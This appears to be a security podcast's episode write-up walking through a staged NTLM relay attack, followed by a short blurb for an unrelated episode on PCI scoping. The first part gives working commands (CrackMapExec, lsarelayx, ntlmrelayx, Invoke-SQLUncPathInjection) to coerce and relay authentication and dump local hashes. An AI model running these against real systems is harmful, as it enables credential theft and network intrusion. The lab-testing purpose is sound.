In today's episode we staged an NTLM relay attack using a vulnerable SQL server.

First we used CrackMapExec (see our two part series on Cracking and Mapping and Execing with CrackMapExec - part 1 / part 2) to find hosts with SMB signing disabled:

cme smb x.x.x.x/24 -u USER -p PASS --gen-relay-list smbsigning.txt

Then we setup lsarelayx in one window:

lsarelayx --host=localhost

And in a second window we ran ntlmrelayx.py:

python ntlmrelayx.py -smb2support --no-smb-server -t smb://VICTIM

Finally, in a third window we triggered authentication from the vulnerable SQL server:

Invoke-SQLUncPathInjection -verbose -captureip OUR.ATTACKING.IP.ADDRESS

Boom! Watch the local usernames and hashes fall out of the victim system.

We also tried doing a multirelay scenario where we had a list of victim hosts in a targets.txt file like this:

victim1 victim2 victim3

Then we tweaked the ntlmrelayx command slightly:

python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt

Interestingly(?) only victim2 was attacked.

Lastly, we ran the same attack but added the -socks option to establish SOCKS connections upon successful relay:

python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt -socks

Interestingly(?) we got a low-priv user to relay and setup a SOCKS connection, but not the domain admin configured on the SQL server.

TLDR/TLDL: relaying credentials to a single victim with ntlmrelay on a Windows hosts seems to work great! Your milage may vary if you try to pull off more advanced tricks with ntlmrelay.

7MS #98: Intro to PCI Scoping

So far I've focused on the technical aspects of PCI, but I'm trying to get familiar with the overall scoping questions that my tenacious QSA friends ask when they start a gap analysis. This episode shares some interesting tidbits I learned while doing some QSA "shadowing" on an assessment of a restaurant.
